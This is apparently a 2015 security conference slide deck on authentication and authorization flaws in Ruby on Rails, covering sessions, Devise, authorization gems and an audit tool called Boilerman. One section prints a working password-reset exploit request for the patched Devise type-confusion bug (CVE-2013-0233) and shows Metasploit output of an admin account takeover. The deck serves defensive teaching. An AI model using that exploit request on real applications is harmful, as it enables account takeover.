Going AUTH the Rails on a Crazy Train

Tomek Rabczak  
@sigdroid

Jeff Jarmoc  
@jjarmoc

November, 2015
Who we are

Tomek Rabczak
Senior Security Consultant @ NCC Group
Ex-Rails Maker turned Rails Breaker

Jeff Jarmoc
Lead Product Security Engineer @ Salesforce
Formerly Senior Security Consultant @ NCC Group
Occasional contributor to Metasploit, Brakeman

NCC Group
UK Headquarters, Worldwide Offices
Software Escrow, Testing, Domain Services
All Aboard, hahaha!

1. Rails Introduction

2. Authentication

3. Authorization

4. Boilerman: A New Dynamic Analysis Tool
```
rails new sample_app
```

<table>
<thead>
<tr>
<th>sample_app</th>
<th>Root directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>app/</td>
<td>Application files (Your code)</td>
</tr>
<tr>
<td>models/</td>
<td><strong>Models</strong> (Objects, usually backed by DB)</td>
</tr>
<tr>
<td>views/</td>
<td><strong>Views</strong> (Output presentation templates)</td>
</tr>
<tr>
<td>controllers/</td>
<td><strong>Controllers</strong> (Ties Models and Views with Actions)</td>
</tr>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>config/</td>
<td>Configuration files directory</td>
</tr>
<tr>
<td>routes.rb</td>
<td>Maps URLs to Controller Actions</td>
</tr>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>Gemfile</td>
<td>Dependency record of Gem requirements</td>
</tr>
<tr>
<td>Gemfile.lock</td>
<td>Specific versions of currently installed Gems</td>
</tr>
</tbody>
</table>
The ‘Rails Way’

**ActiveRecord (Model)**
SQLi protection via ORM-managed queries  (see [http://rails-sqli.org/](http://rails-sqli.org/))

**ActionView (View)**
XSS protection via default HTML-output encoding

**ActionController (Controller)**
CSRF protections via protect_from_forgery
Goin’ off the Rails

Authentication (AUTHN)
- Who is the user?
  Only HTTP Basic & Digest natively

Authorization (AUTHZ)
- What can they do?
  No native facility
Laying More Track - AUTHN

Option 1 - Roll your own

- Re-invents the wheel, risks common mistakes
- Lots more to AUTHN than checking/storing passwords
+ has_secure_password in >= 3.1 helps
Laying More Track - AUTHN

Option 2 - Use a gem

- Vulnerabilities are far-reaching
- Ongoing updates/maintenance required
- Integration can be tricky
- Core code is generally well vetted
- Encapsulates past community experience
Common AUTHN Gems

**Devise**
Most popular, built on Warden

**OmniAuth**
Multi-Provider, OAuth focused

**DoorKeeper**
OAuth2 provider for Rails

**AuthLogic**
Adds a new model blending Sessions w/ Auth
Arguments for writing

“For one, practical experience shows that authentication on most sites requires extensive customization, and modifying a third-party product is often more work than writing the system from scratch. In addition, off-the-shelf systems can be “black boxes”, with potentially mysterious innards; when you write your own system, you are far more likely to understand it.”

https://www.railstutorial.org/book/modeling_users#sec-adding_a_secure_password
Write our own

Schema: User(name:string, password_digest:string)

http://api.rubyonrails.org/v3.1.0/classes/ActiveModel/SecurePassword/ClassMethods.html

Digests stored with BCrypt

Lots more needed.

Storing Creds and Authenticating is just the start

#TODO
- Session management
- Complexity requirements
- Lost/Forgotten Password handling
- API Tokens / MFA / 2FA / OAuth
Session Management

1. Exchange credentials for a token (cookie).

2. Identify user by that token on subsequent requests.

3. Invalidate that token when needed.
   Logout or Timeout

4. Where we store session state varies
Encrypted Cookie Sessions

```ruby
User.find_by_email("ozzy@ozzy.com").authenticate("Sharoon!")
```

Sign in

- **Email**: ozzy@ozzy.com
- **Password**: ********

**SESSION**
Database Sessions

```
User.find_by_email("ozzy@ozzy.com").authenticate("Sharooon!")
```

Sign in

```
Email
ozzy@ozzy.com

Password
**********
```

- Remember me
- Sign in

Ozzy@Ozzy.com

Session

Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
## Database vs. Cookies

<table>
<thead>
<tr>
<th></th>
<th>Database</th>
<th>Cookie</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>User Cookie</strong></td>
<td><em>Random Token</em></td>
<td><em>Encrypted Serialized Session Object</em></td>
</tr>
<tr>
<td><strong>Revocation</strong></td>
<td><em>Maximum Lifetime (Config)</em></td>
<td><em>Maximum Lifetime (Config)</em></td>
</tr>
<tr>
<td></td>
<td><em>One Concurrent</em></td>
<td><em>Unlimited Concurrent</em></td>
</tr>
<tr>
<td></td>
<td><em>Delete From DB</em></td>
<td></td>
</tr>
<tr>
<td><strong>Attack Surface</strong></td>
<td><em>Theft / Enumeration</em></td>
<td><em>Theft / Enumeration</em></td>
</tr>
<tr>
<td></td>
<td></td>
<td><em>Cryptographic Attacks</em></td>
</tr>
<tr>
<td></td>
<td></td>
<td><em>Long/Infinite Lived Sessions</em></td>
</tr>
<tr>
<td></td>
<td></td>
<td><em>Encryption Key Exposure</em></td>
</tr>
<tr>
<td></td>
<td></td>
<td><em>Deserialization Vulns</em></td>
</tr>
<tr>
<td><strong>Per-Request Overhead</strong></td>
<td><em>DB query</em> (caching may help)*</td>
<td><em>Signature Validation</em></td>
</tr>
<tr>
<td></td>
<td></td>
<td><em>Decryption</em></td>
</tr>
<tr>
<td></td>
<td></td>
<td><em>Deserialization</em></td>
</tr>
</tbody>
</table>
config/initializers/session_store.rb:
Rails.application.config.session_store :cookie_store,
key: '_session_cookie_name',
:expire_after => 2.hours

or

:active_record_store

⚠️ Session Expiry Time Must be Manually Configured!
Cookie Session Config

config/secrets.yml:
production:
  secret_key_base: 'secret key'

Signed, Not Encrypted!
production:
  secret_token: 'secret key'

config/initializer/session_store.rb:
Rails.application.config.action_dispatch.cookies_serializer = :json

RCE w/ Key Exposure!
  :marshal
  or
  :hybrid
Lost/Forgotten Passwords

Many weak approaches, one strong one.

1) Generate CSPRNG token => User object w/ timestamp
2) Transmit to user out of band (email, SMS, etc)
3) User visits site w/ token
4) User.find_by_token(), verify expiration, change password
5) Delete Token
Devise User Model

```ruby
class User < ActiveRecord::Base
  # Include default devise modules. Others available are:
  # :confirmable, :lockable, :timeoutable and :omniauthable
  devise :database_authenticatable, :registerable,
         :recoverable, :rememberable, :trackable, :validatable
end
```
**Routes**

```ruby
app/config/routes.rb:

device_for :users
```

<table>
<thead>
<tr>
<th>Prefix</th>
<th>Verb</th>
<th>URI Pattern</th>
<th>Controller#Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>new_user_session</td>
<td>GET</td>
<td>/users/sign_in(.:format)</td>
<td>devise/sessions#new</td>
</tr>
<tr>
<td>user_session</td>
<td>POST</td>
<td>/users/sign_in(.:format)</td>
<td>devise/sessions#create</td>
</tr>
<tr>
<td>destroy_user_session</td>
<td>DELETE</td>
<td>/users/sign_out(.:format)</td>
<td>devise/sessions#destroy</td>
</tr>
<tr>
<td>user_password</td>
<td>POST</td>
<td>/users/password(.:format)</td>
<td>devise/passwords#create</td>
</tr>
<tr>
<td>new_user_password</td>
<td>GET</td>
<td>/users/password/new(.:format)</td>
<td>devise/passwords#new</td>
</tr>
<tr>
<td>edit_user_password</td>
<td>GET</td>
<td>/users/password/edit(.:format)</td>
<td>devise/passwords#edit</td>
</tr>
<tr>
<td></td>
<td>PATCH</td>
<td>/users/password(.:format)</td>
<td>devise/passwords#update</td>
</tr>
<tr>
<td></td>
<td>PUT</td>
<td>/users/password(.:format)</td>
<td>devise/passwords#update</td>
</tr>
<tr>
<td>cancel_user_registration</td>
<td>GET</td>
<td>/users/cancel(.:format)</td>
<td>devise/registrations#cancel</td>
</tr>
<tr>
<td>user_registration</td>
<td>POST</td>
<td>/users(.:format)</td>
<td>devise/registrations#create</td>
</tr>
<tr>
<td>new_user_registration</td>
<td>GET</td>
<td>/users/sign_up(.:format)</td>
<td>devise/registrations#new</td>
</tr>
<tr>
<td>edit_user_registration</td>
<td>GET</td>
<td>/users/edit(.:format)</td>
<td>devise/registrations#edit</td>
</tr>
<tr>
<td></td>
<td>PATCH</td>
<td>/users(.:format)</td>
<td>devise/registrations#update</td>
</tr>
<tr>
<td></td>
<td>PUT</td>
<td>/users(.:format)</td>
<td>devise/registrations#update</td>
</tr>
<tr>
<td></td>
<td>DELETE</td>
<td>/users(.:format)</td>
<td>devise/registrations#destroy</td>
</tr>
</tbody>
</table>

$ rake routes
Using Devise

Controller Filter
before_action :authenticate_user!
Often put in ApplicationController
Skip where anonymous access needed

Helpers
user_signed_in?
current_user
user_session
Devise Security History

Unreleased/HEAD
  Optionally send password change notifications

3.5.1
  Remove active tokens on email/password change

3.1.2
  Addresses an email enumeration bug

3.1.0
  Stores HMAC of tokens, instead of plain-text token

3.0.1
  Fixes CSRF Token Fixation

2.2.3
  Fixes a type confusion vulnerability

Disclosed by @joernchen of Phenoelit
Feb 5th, 2013
http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/
Devise Password Reset

Pseudo-Code

```ruby
def reset
  user = User.find_by_token(params[:user][:reset_password_token])
  if user
    user.change_password(params[:user][:password],
                         params[:user][:confirm_password])
  end
end
```
## MySQL Equality

```sql
mysql> select "foo" from dual where 1="1string";
+-----+
| foo |
+-----+
1 row in set, 1 warning (0.00 sec)

mysql> select "foo" from dual where 0="string";
+-----+
| foo |
+-----+
1 row in set, 1 warning (0.00 sec)
```
Exploiting in Rails

`params[]`

A hash of *(usually)* strings containing values of user-supplied parameters

**Like this**

```
/example?foo=bar&fizz=buzz
```

```ruby
params => {"foo"=>"bar", "fizz"=>"buzz"}
```

```
/example?foo=1&fizz=2
```

```ruby
params => {"foo"=>"1", "fizz"=>"2"}
```
Exploiting in Rails

Rails Magic
XML (<4.0) and JSON (all versions) bodies parsed automatically
Typecast per those formats

Like this
POST /example HTTP/1.1
content-type: application/xml

<foo>bar</foo>
<fizz type="integer">1</fizz>

params => {"foo":"bar", "fizz":1}
Devise Password Reset Exploit

How about this?

```plaintext
PUT /users/password HTTP/1.1
content-type: application/json

{"user":{
  "password":"GAMEOVER",
  "password_confirmation":"GAMEOVER",
  "reset_password_token":0}
}
```
Devise Password Reset Exploit

```ruby
params[] =>
{"user"=>{"password"=>"GAMEOVER",
"password_confirmation"=>"GAMEOVER",
"reset_password_token"=>0}}

Query
User.find_by_token(0)
SELECT * from Users where token=0 limit 1;

Result
Resets password of first User with an outstanding token!
Metasploit module

rails_devise_pass_reset.rb

Clears any outstanding tokens
Generates a token for a user of your choosing
Resets password to token of your choosing

Legitimate user *WILL* get emails

```
msf auxiliary(rails_devise_pass_reset) > exploit
[*] Clearing existing tokens...
[*] Generating reset token for admin@example.com...
[+] Reset token generated successfully
[*] Resetting password to "w00tw00t"...
[+] Password reset worked successfully
[*] Auxiliary module execution completed
```
Password Reset Type Confusion

Patched in Devise

>= v2.2.3, v2.1.3, v2.0.5 and v1.5.4
CVE-2013-0233

Fixed in Rails

= 3.2.12 https://github.com/rails/rails/pull/9208
>= 4.2.0 https://github.com/rails/rails/pull/16069

Reverted in Rails

>= 3.2.13 https://github.com/rails/rails/issues/9292

Thanks to @joernchen of Phenoelit

User.where("token=?", params[token])

Core vulnerability effects more than just Devise!

User.where("token=?", params[token])

thanks to @joernchen of Phenoelit

Core vulnerability effects more than just Devise!
Authorization

What can they do?

Often tied to the concept of roles

Vertical Authorization
- Site Admin (Full Access)
- Organization Admin (Full Access to specific Org)
- “Regular User” (Limited Read Access + Local Write Access)
- Unauthenticated (No Access)

Horizontal Authorization
- Org1 vs Org2 Data
- Within an Org, User1 vs User2 Data
Authorization - Rails

Vertical Authorization

```
before_actions

class PostsController < ApplicationController
  before_action :require_admin, only: :create_organization
  before_action :require_org_admin, only: :create_org_post
  before_action :require_org_user, except: :public_posts
```

Horizontal Authorization

```
def index
  current_user.organization.posts.find_by_author(params[:email])
end
```
Controller Routing

Given a route: `get '/posts', to: 'posts#index'`

Method    path          controller # action

```ruby
class PostsController < ApplicationController
  def index
    @posts = Posts.all
  end
end
```
Controller Hierarchy

```ruby
class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception

  before_action :authorize_user

  private

  def authorize_user
    # ...
  end
end
```
How they work

3 types of callbacks
- :before, :around, :after
- Authorization tends to only care about before_actions

Different flavors
- before_action :authorize_user, only: [:action1, :action2, ...]
- before_action :authorize_user, except: [:action1, :action2, ...]
- before_action :authorize_user, if: method_call
- before_action :authorize_user, unless: method_call
- skip_before_action :authorize_user, only: [:action1, :action2, ...]
- skip_before_action :authorize_user, except: [:action1, :action2, ...]
- before_action :authorize_user, Proc.new {|controller| #AUTHZ Logic... }

http://api.rubyonrails.org/classes/ActiveSupport/Callbacks.html
Authorization Gems

Pundit
- Enforced through the use of Policy classes
  @post = Post.find(params[:id])
  authorize @post
- [https://github.com/elabs/pundit](https://github.com/elabs/pundit)

CanCan(Can)
- Enforced through the use of an Ability class
- [https://github.com/CanCanCommunity/cancancan](https://github.com/CanCanCommunity/cancancan)
CanCanCan Basics

```ruby
class PostsController < ApplicationController
  def show
    @post = Post.find(params[:id])
    authorize! :read, @post
  end
end
```

```ruby
class PostsController < ApplicationController
  load_and_authorize_resource
  def show
    # @post is already loaded and authorized
  end
end
```
Be On The Lookout For…

find_by methods called directly on the model

CAUTION

def show
  Posts.find_by_author(params[:email])
end

GOOD

def show
  current_user.posts.find_by_author(params[:email])
end
Be On The Lookout For...

before_action ... only: [:action1, :action2]

class PostsController < ApplicationController
  before_action :authorize_author, only: [:update, :destroy, :create]

CAUTION

GOOD
class PostsController < ApplicationController
  before_action :authorize_author, except: [:public_posts]
Be On The Lookout For...

Lightweight Controllers

⚠️ CAUTION

```ruby
class PostsController < ActionController::Base
end
```

```ruby
def index
  self.response_body = "Hello World!"
end
end
```

GOOD

```ruby
class PostsController < ApplicationController
end
```

```ruby
def index
  #...
end
```
Be On The Lookout For...

Authorization Logic in Views

Ensure the application is also verifying permissions in controller action
Be On The Lookout For...

Skipping of filters

class PostsController < ApplicationController
  skip_before_action :authorize_admin

Skips the :authorize_admin filter for every action
(can be an artifact left over from testing/development)
Rails Scaffolding

```bash
$ rails generate scaffold BankAcct acct_number:integer

invoke active_record
create db/migrate/20150910173516_create_bank_accounts.rb
create app/models/bank_account.rb

... invoke scaffold_controller
create app/controllers/bank_accounts_controller.rb
invoke erb
create app/views/bank_accounts
create app/views/bank_accounts/index.html.erb
create app/views/bank_accounts/edit.html.erb
create app/views/bank_accounts/show.html.erb
create app/views/bank_accounts/new.html.erb
create app/views/bank_accounts/_form.html.erb

... invoke jbuilder
create app/views/bank_accounts/index.json.jbuilder
create app/views/bank_accounts/show.json.jbuilder

...
Be On The Lookout For…

Generator/Scaffold artifacts

```
/app/views/bank_accts/show.json.jbuilder:
  json.extract @bank_acct, :id, :acct_number, :acct_balance, :acct_holder_name, ...
```

⚠️ Possible unwanted attributes added to view or strong_parameters

```
# Never trust parameters from the scary Internet, only allow the white list through.
def bank_acct_params
  params.require(:bank_acct).permit(:acct_number, :acct_balance, :acct_holder_name)
end
```

New Tool: Boilerman

Before Boilerman
Audit every Controller manually
Track inheritance / overrides
Mind the gaps

With Boilerman
Dynamically resolve callbacks
See all filters for a given Controller#Action
Filter the list dynamically
In browser or Rails Console

https://github.com/tomekr/boilerman
New Tool: Boilerman

Dynamic analysis tool
  Plugs into an existing Rails application

Rails console access needed
  As a minimum requirement

Mounted as a Rails engine
  Accessed at /boilerman
  or through Rails Console

https://github.com/tomekr/boilerman
Boilerman Demo

Praise be to the almighty demo gods.
Boilerman

**Install:** `gem install boilerman`

**Takeaways**
- Rails console can be a very powerful tool

**Future Ideas**
- D3 visualizations
  - matrix of Controller#Action & Filter pairs
- Source querying via pry’s source functionality
  - Useful for auditing Pundit based authorization schemes
Questions?

Tomek Rabczak
@sigdroid

Jeff Jarmoc
@jjarmoc

IF OZZY IS GOING OFF THE RAILS ON A CRAZY TRAIN

IS HE GOING SANE?